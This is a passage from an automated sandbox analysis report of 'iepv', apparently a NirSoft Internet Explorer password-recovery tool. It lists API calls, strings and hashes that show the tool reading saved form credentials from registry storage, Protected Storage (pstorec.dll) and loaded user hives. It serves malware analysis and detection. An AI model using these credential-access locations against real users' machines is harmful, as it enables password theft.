AdjustTokenPrivileges.KERNELBASE(?,00000000,00000001,00000000,00000000,00000000), ref: 0040C026
GetLastError.KERNEL32(00000000), ref: 0040C028
CloseHandle.KERNELBASE(?), ref: 0040C033

Strings

AdjustTokenPrivileges, xrefs: 0040C00E
LookupPrivilegeValueA, xrefs: 0040BFDA

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: AddressProc$ErrorLast$AdjustCloseCurrentHandleLookupPrivilegePrivilegesProcessTokenValue
String ID: AdjustTokenPrivileges$LookupPrivilegeValueA
API String ID: 2436455536-3194204137
Opcode ID: 4f6d9428a8150541444a387d4d71cb4677097e3ff327b2a2aefc8e3eb35eaedb
Instruction ID: 4a9456cab663dd16435ec649672564a535132417db7f97ed96ae019cfbe850c8
Opcode Fuzzy Hash: 4f6d9428a8150541444a387d4d71cb4677097e3ff327b2a2aefc8e3eb35eaedb
Instruction Fuzzy Hash: CA119E7250021AEBDB10ABE5CD899AE7AACEF04384F004436FA01F3291D778DD548BA8

Function 00406B85 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 108
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405F72: free.MSVCRT ref: 00405F75
Part of subcall function 00405F72: free.MSVCRT ref: 00405F7D

RegOpenKeyExA.KERNELBASE(?,Software\Microsoft\Internet Explorer\IntelliForms\Storage2,00000000,00020019,?,00000000,?), ref: 00406BB4

Part of subcall function 0040609F: free.MSVCRT ref: 004060AE

memset.MSVCRT ref: 00406BF4
RegEnumValueA.ADVAPI32(?,00000000,?,?,00000000,?,00000000,?), ref: 00406C1D
_strupr.MSVCRT ref: 00406C3B

Part of subcall function 00405F98: strlen.MSVCRT ref: 00405FA9
Part of subcall function 00405F98: free.MSVCRT ref: 00405FCC
Part of subcall function 00405F98: free.MSVCRT ref: 00405FEF
Part of subcall function 00405F98: memcpy.MSVCRT(00000002,004069FD,000000FF,?,00000001,00000000,?,00406058,00000000,00000000,004069FD), ref: 0040600F

memset.MSVCRT ref: 00406C81
RegEnumValueA.ADVAPI32(?,00000000,?,?,00000000,?,00000000,?,?,?,000000FF), ref: 00406CAC
RegCloseKey.ADVAPI32(?), ref: 00406CBD

Strings

Software\Microsoft\Internet Explorer\IntelliForms\Storage2, xrefs: 00406BAE

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: free$EnumValuememset$CloseOpen_struprmemcpystrlen
String ID: Software\Microsoft\Internet Explorer\IntelliForms\Storage2
API String ID: 2511307296-680441574
Opcode ID: 0b3aa524db69a8448af26164002a83135ebc79bddcf20ee1b12d273adf7cfa70
Instruction ID: 9e46696cd099a03c749b7fc8e4f1fd7132345e4112eec0b4d2b1eb9bd22262da
Opcode Fuzzy Hash: 0b3aa524db69a8448af26164002a83135ebc79bddcf20ee1b12d273adf7cfa70
Instruction Fuzzy Hash: A841F7B2D0011DAFDB10DF99DD82DEEBBBCEF08344F10406AB619F2191D674AA558FA4

Function 004063F9 Relevance: 6.1, APIs: 4, Instructions: 58
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileA.KERNELBASE(00000103,00000247,?,?,00402B17,?,?,?,?), ref: 0040640F
FindNextFileA.KERNELBASE(000000FF,00000247,?,?,00402B17,?,?,?,?), ref: 0040642D
strlen.MSVCRT ref: 0040645D
strlen.MSVCRT ref: 00406465

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: FileFindstrlen$FirstNext
String ID:
API String ID: 379999529-0
Opcode ID: a2f68e0131ad00fe1563c1fc84e975f570fd1c3ea5ef582d6e09f883641bc239
Instruction ID: d61fbb18d3c70a5b6ff45dc066800e2bd6bd94eafa4c712f38055f66edc6061f
Opcode Fuzzy Hash: a2f68e0131ad00fe1563c1fc84e975f570fd1c3ea5ef582d6e09f883641bc239
Instruction Fuzzy Hash: 1B11CEB24042059FD3149B68D844ADFB3DCEB44329F214A3FF45AE31C0EB38A9508B69

Function 0040B97B Relevance: 47.4, APIs: 21, Strings: 6, Instructions: 166
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00403F00: LoadLibraryA.KERNEL32(comctl32.dll), ref: 00403F1F
Part of subcall function 00403F00: GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 00403F31
Part of subcall function 00403F00: FreeLibrary.KERNEL32(00000000), ref: 00403F45
Part of subcall function 00403F00: MessageBoxA.USER32(00000001,Error: Cannot load the common control classes.,Error,00000030), ref: 00403F70

SetErrorMode.KERNELBASE(00008001), ref: 0040B9A3
GetModuleHandleA.KERNEL32(00000000,0040CEAA,00000000), ref: 0040B9BC
EnumResourceTypesA.KERNEL32(00000000), ref: 0040B9C3
MessageBoxA.USER32(00000000,Failed to load the executable file !,Error,00000030), ref: 0040B9E2

Strings

Failed to load the executable file !, xrefs: 0040B9DC
/deleteregkey, xrefs: 0040BA66
Error, xrefs: 0040B9D7
/savelangfile, xrefs: 0040BA38
, xrefs: 0040BA00
Software\NirSoft\iepv, xrefs: 0040BA74

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: LibraryMessage$AddressEnumErrorFreeHandleLoadModeModuleProcResourceTypes
String ID: $/deleteregkey$/savelangfile$Error$Failed to load the executable file !$Software\NirSoft\iepv
API String ID: 1684816736-3035498568
Opcode ID: fbde459b227d05bec624e71c6036b1af5cc34eaf2f79f08d0c38d15a99a88878
Instruction ID: d43f3b1e08da06549c2e0bf94a7206877e006fb5d6485bf630465df68f068d52
Opcode Fuzzy Hash: fbde459b227d05bec624e71c6036b1af5cc34eaf2f79f08d0c38d15a99a88878
Instruction Fuzzy Hash: A3515E71508346ABD720AF62DD49A5BBBACFF44344F400C3EF685B21A1D73898158BAE

Function 00406F24 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 170
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00406F62
strlen.MSVCRT ref: 00406F71
strlen.MSVCRT ref: 00406F7F
RegLoadKeyA.ADVAPI32(80000002,$NIRSOFT_IEPV_KEY$,00000000), ref: 00406FC2
RegOpenKeyExA.ADVAPI32(80000002,$NIRSOFT_IEPV_KEY$,00000000,00020019,?), ref: 00406FDB
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,?,00000800,?,00000104,00000000,?,?,004025EE,?,00000000), ref: 004070AD
_wcslwr.MSVCRT ref: 004070BA
wcslen.MSVCRT ref: 004070D7
RegCloseKey.ADVAPI32(?,?,00000104,00000000,?,?,004025EE,?,00000000), ref: 00407145
RegUnLoadKeyA.ADVAPI32(80000002,$NIRSOFT_IEPV_KEY$,?,00000104,00000000,?,?,004025EE,?,00000000), ref: 00407155

Part of subcall function 00405918: _mbscpy.MSVCRT(?,?,?,00403438,?,Application Data\Microsoft\Protect,?,?,?,00000000,00402C40,?), ref: 00405920
Part of subcall function 00405918: _mbscat.MSVCRT ref: 0040592F

Strings

$NIRSOFT_IEPV_KEY$, xrefs: 00406FB6, 00406FBB, 00406FD9, 0040714B
/, xrefs: 004070EE
/, xrefs: 004070E3
ntuser.dat, xrefs: 00406F78, 00406F93

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: Loadstrlen$ByteCharCloseMultiOpenWide_mbscat_mbscpy_wcslwrmemsetwcslen
String ID: $NIRSOFT_IEPV_KEY$$/$/$ntuser.dat
API String ID: 2025462591-835937672
Opcode ID: 37bd4403ce09373d63c1f516d04b7e43716adbd205a2cd39e1f06fcbdff7aa7e
Instruction ID: ead2737e8e6220596dc6ee0efdb618599277858d08f9b0aa3e170f90a4b6c739
Opcode Fuzzy Hash: 37bd4403ce09373d63c1f516d04b7e43716adbd205a2cd39e1f06fcbdff7aa7e
Instruction Fuzzy Hash: 47518671900118AACB14EF55CC85EDAB7B8EF44304F14447BFA0AFB192D778AE85CB99

Function 0040D4FC Relevance: 18.1, APIs: 12, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000000,0040E3F0,00000070), ref: 0040D511
__set_app_type.MSVCRT ref: 0040D56A
__p__fmode.MSVCRT ref: 0040D57F
__p__commode.MSVCRT ref: 0040D58D
__setusermatherr.MSVCRT ref: 0040D5B9
_initterm.MSVCRT ref: 0040D5CF
__getmainargs.MSVCRT ref: 0040D5F2
_initterm.MSVCRT ref: 0040D605
GetStartupInfoA.KERNEL32(?), ref: 0040D644
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 0040D668
exit.KERNELBASE ref: 0040D67B
_cexit.MSVCRT ref: 0040D681

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: HandleModule_initterm$InfoStartup__getmainargs__p__commode__p__fmode__set_app_type__setusermatherr_cexitexit
String ID:
API String ID: 3662548030-0
Opcode ID: 6df737577507be7e67fc6c5be6bf1cb133c8ccb648732551b8eced2d8bd4cc48
Instruction ID: 428b8c0729d8d1ad6d4a6f02f33f5e4280a30d90fc79a33d0819ea2038a00576
Opcode Fuzzy Hash: 6df737577507be7e67fc6c5be6bf1cb133c8ccb648732551b8eced2d8bd4cc48
Instruction Fuzzy Hash: 5A418B70C00254DFCB20AFE5D944AAD7BB4AB04314F24097BE555B72E1D7794886CF5D

Function 0040AE0F Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 64
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 0040AE40
GetModuleFileNameA.KERNEL32(00000000,00000000,00000104), ref: 0040AE51
strrchr.MSVCRT ref: 0040AE60
_mbscat.MSVCRT ref: 0040AE7A
_mbscpy.MSVCRT(?,00000000,00000000,.cfg), ref: 0040AEAE
_mbscpy.MSVCRT(00000000,General,?,00000000,00000000,.cfg), ref: 0040AEBF

Strings

.cfg, xrefs: 0040AE74
General, xrefs: 0040AEB9

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: _mbscpy$FileModuleName_mbscatmemsetstrrchr
String ID: .cfg$General
API String ID: 556121754-1188829934
Opcode ID: 5137b276071cd748732b395deb669b979b0f3f0ad1264ed1abebc979dbc7320f
Instruction ID: 2e23dc87211df01c5a59ffa16cb291305880bb2efea795ae7a23b1e77d593d6d
Opcode Fuzzy Hash: 5137b276071cd748732b395deb669b979b0f3f0ad1264ed1abebc979dbc7320f
Instruction Fuzzy Hash: 7B2175769042185BDB21DBA5CC85BCA77AC9F54304F4400F6F548B71C2DAB85BC98BA9

Function 00402454 Relevance: 10.7, APIs: 5, Strings: 2, Instructions: 161
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004058E3: GetVersionExA.KERNEL32(00412058,?,00402475), ref: 004058FD

memset.MSVCRT ref: 004024F0
memset.MSVCRT ref: 0040250A
strlen.MSVCRT ref: 00402523
strlen.MSVCRT ref: 00402533
memset.MSVCRT ref: 0040259B

Strings

iepv_sites.txt, xrefs: 0040251E, 00402548
;, xrefs: 004025BB

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: memset$strlen$Version
String ID: ;$iepv_sites.txt
API String ID: 855378092-1428769095
Opcode ID: 0a97538181482b65033f9bd75b0d00f09e17057bed307871aee19192e7db998c
Instruction ID: 89de805b4b800a14570b5b4f4e489c6d16acd4f32d64f962d32b26a750c95b2a
Opcode Fuzzy Hash: 0a97538181482b65033f9bd75b0d00f09e17057bed307871aee19192e7db998c
Instruction Fuzzy Hash: 7D51A5715083409FC720DF55C989B9B77D8AF85319F04097FE888AB1D2DBB8A548CB9B

Function 0040CEF4 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 55
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040CEC5: LoadLibraryA.KERNEL32(shell32.dll,0040CF03), ref: 0040CED3
Part of subcall function 0040CEC5: GetProcAddress.KERNEL32(00000000,SHGetSpecialFolderPathA), ref: 0040CEE8

memset.MSVCRT ref: 0040CF32
RegOpenKeyExA.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders,00000000,00020019,-k@), ref: 0040CF4E
RegCloseKey.ADVAPI32(?,?), ref: 0040CF75
_mbscpy.MSVCRT(00000000,?), ref: 0040CF84

Part of subcall function 004058E3: GetVersionExA.KERNEL32(00412058,?,00402475), ref: 004058FD

Strings

-k@, xrefs: 0040CF3A, 0040CF5D, 0040CF3D
Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders, xrefs: 0040CF44

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: AddressCloseLibraryLoadOpenProcVersion_mbscpymemset
String ID: -k@$Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
API String ID: 3832957303-19275265
Opcode ID: 59764fbecf4f9bc4bb1cc1dc9d5b2a857306505f74ec8d85b028d3ff1110afd3
Instruction ID: 02097c9190c13c1cade43920a8194b229b9bf51379d27b2412ab95ef5e249dda
Opcode Fuzzy Hash: 59764fbecf4f9bc4bb1cc1dc9d5b2a857306505f74ec8d85b028d3ff1110afd3
Instruction Fuzzy Hash: 4601D6B2804118FEE700A7A0ECC6DDA77BCDB08304F10007AFA05F10D2DA786EA49A69

Function 0040A274 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 70
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strcmpi.MSVCRT ref: 0040A295
qsort.MSVCRT ref: 0040A33C
SetCursor.USER32(/nosort), ref: 0040A34A

Strings

/sort, xrefs: 0040A290
/nosort, xrefs: 0040A2F2

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: Cursor_strcmpiqsort
String ID: /nosort$/sort
API String ID: 3665648111-1578091866
Opcode ID: d904ca78c6bce7c4487f777234176b1b3890c6aa45b1dd85959794c0237fdfe6
Instruction ID: 670274951613ec97810711a729b30285552b6fe39b2307887bc7300b9efbbc60
Opcode Fuzzy Hash: d904ca78c6bce7c4487f777234176b1b3890c6aa45b1dd85959794c0237fdfe6
Instruction Fuzzy Hash: 7A21D731610601AFD719AB75D881A96B7A8FF44318F10057EF819AB3D2C7B9BC21CB99

Function 00418F70 Relevance: 7.7, APIs: 5, Instructions: 169
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82d01f8de0d6b83746cc5af3166027bd973502d4ba97b1444f9348d97f978b90
Instruction ID: e6a751755948d32e7659ffd31eab708cc562b9c5aa0d5194796b1d1ca4562b11
Opcode Fuzzy Hash: 82d01f8de0d6b83746cc5af3166027bd973502d4ba97b1444f9348d97f978b90
Instruction Fuzzy Hash: 47512471A402524BC7205EB88C906F1BB95EB46334B2C073ED5E6C73C6EBAC5C878769

Function 0040B69D Relevance: 7.6, APIs: 5, Instructions: 62
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??2@YAPAXI@Z.MSVCRT(0000022C,?,?,?,00000000,0040BA1D), ref: 0040B6BF
??2@YAPAXI@Z.MSVCRT(000007AC,?,?,?,00000000,0040BA1D), ref: 0040B6E8
DeleteObject.GDI32(?), ref: 0040B73C
GetModuleHandleA.KERNEL32(00000000,?,?,?,00000000,0040BA1D), ref: 0040B764
LoadIconA.USER32(00000000,00000065), ref: 0040B76D

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: ??2@$DeleteHandleIconLoadModuleObject
String ID:
API String ID: 659443934-0
Opcode ID: a34512965d740be2f92f93442cb6461821fecfa4af94fab930e3484fbdfde6f5
Instruction ID: 7879ec44466ce053b42f30ac7fc69db405e56ad81a0ce3f36107cfb098ef8f5e
Opcode Fuzzy Hash: a34512965d740be2f92f93442cb6461821fecfa4af94fab930e3484fbdfde6f5
Instruction Fuzzy Hash: BA216DB19053889FDB30AF768D887D97BA8FB04305F14497FE90CAB281CB7996048B59

Function 0040B81A Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 100
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strcmpi.MSVCRT ref: 0040B88F
??3@YAXPAX@Z.MSVCRT(?,?,00000000,00000000), ref: 0040B969

Strings

/stext, xrefs: 0040B88A
bq@, xrefs: 0040B93F

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: ??3@_strcmpi
String ID: /stext$bq@
API String ID: 3410402764-2864633008
Opcode ID: 701c4cffa4f4c57ab24c378e8b1ade68062158e79011fd1904830dd9c2812433
Instruction ID: aab031a9e4051bdb1d4ca8340b8679169eeb1727090a0769a58e235016f270db
Opcode Fuzzy Hash: 701c4cffa4f4c57ab24c378e8b1ade68062158e79011fd1904830dd9c2812433
Instruction Fuzzy Hash: 1E4169756147069FC305EF66C480A9AF7E8FF44304F008A7EF858AB391DB78A9148BD9

Function 0040C8BA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040C8A3: FreeLibrary.KERNELBASE(?,0040C8C6), ref: 0040C8AF

LoadLibraryA.KERNELBASE(pstorec.dll), ref: 0040C8CB
GetProcAddress.KERNEL32(00000000,PStoreCreateInstance), ref: 0040C8DE

Strings

PStoreCreateInstance, xrefs: 0040C8D8
pstorec.dll, xrefs: 0040C8C6

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: PStoreCreateInstance$pstorec.dll
API String ID: 145871493-2881415372
Opcode ID: 16f6b68425b54251d349bf04f383eb1ced9b10433ff9902e5fd27ea8f5497a9c
Instruction ID: 4312a112b4f741766ab58ba89a4ab5ec840b01acab9ca869d30e20775c1cc4ea
Opcode Fuzzy Hash: 16f6b68425b54251d349bf04f383eb1ced9b10433ff9902e5fd27ea8f5497a9c
Instruction Fuzzy Hash: 09F030722047129AEA307B7ABC95B9632D45F40726F11CB3EB066F55D0DFBCD5408B58

Function 00409E6B Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 20
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040BFA0: GetCurrentProcess.KERNEL32(?), ref: 0040BFAF
Part of subcall function 0040BFA0: GetLastError.KERNEL32(00000000), ref: 0040BFC1

Part of subcall function 0040BFA0: GetProcAddress.KERNEL32(00000000,LookupPrivilegeValueA), ref: 0040BFE1
